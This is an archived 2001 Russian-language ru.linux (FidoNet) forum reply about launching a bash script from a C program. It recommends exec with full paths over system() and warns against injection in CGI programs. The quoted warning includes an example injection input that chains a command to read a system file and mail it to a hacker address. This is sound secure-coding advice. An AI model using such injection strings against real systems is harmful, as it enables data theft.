Главная страница


ru.linux

 
 - RU.LINUX ---------------------------------------------------------------------
 From : Vladimir Mosgalin                    2:5030/1041.17 28 Dec 2001  23:35:18
 To : Igor S.Kozhukhov
 Subject : help
 -------------------------------------------------------------------------------- 
 
 
 27 Дек 01 13:38, you wrote to All:
 
  IK>    как из программы на Си запустить файл на ислонение - скрипт на bash
 
 Любым способом. #!/bin/sh в начале гарантирует, что exec () его распознает
 соответствующим образом. А если system () - так вообще без разницы, это и будет 
 запуск sh какого-нибудь, указать ему только на скрипт. Hо это конечно хуже.
 
 Только учти, что
 
 === Cut ===
    exec() (в! ) Есть опасность запустить не совсем то, что нужно :)
    Используйте execl, execle, exect или execv, c указанием полного пути
    до запускаемой программы. Если аргументы для функции формируются из
    данных принятых от пользователя, эти данные нужно подвергнуть
    жесточайшей проверке и удалению всех воспринимаемых системой служебных
    символов, иначе пользователь может задать что-нибудь подобное: "user ;
    cat /dev/passwd |mail hacker@hacker.org" и таким образом запустить
    любую нежелательную команду. Особое внимание следует уделять при
    вызове этой функции из CGI программ.
 
    system() (в!!!!)  Лучше вообще не используйте ! см. exec()
 === Cut ===
 
 Vladimir
 
 ... I wanna live, I wanna love, but it's a long hard road, out of hell...
 --- Why use Windows, since there is a door?
  * Origin: [...CENSORED...] (2:5030/1041.17)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 help   Igor S.Kozhukhov   27 Dec 2001 14:38:02 
 Re: help   Michael de\'OZ   27 Dec 2001 16:22:12 
 help   Vladimir Mosgalin   28 Dec 2001 23:35:18 
Архивное /ru.linux/45283c2ccb53.html, оценка 3 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional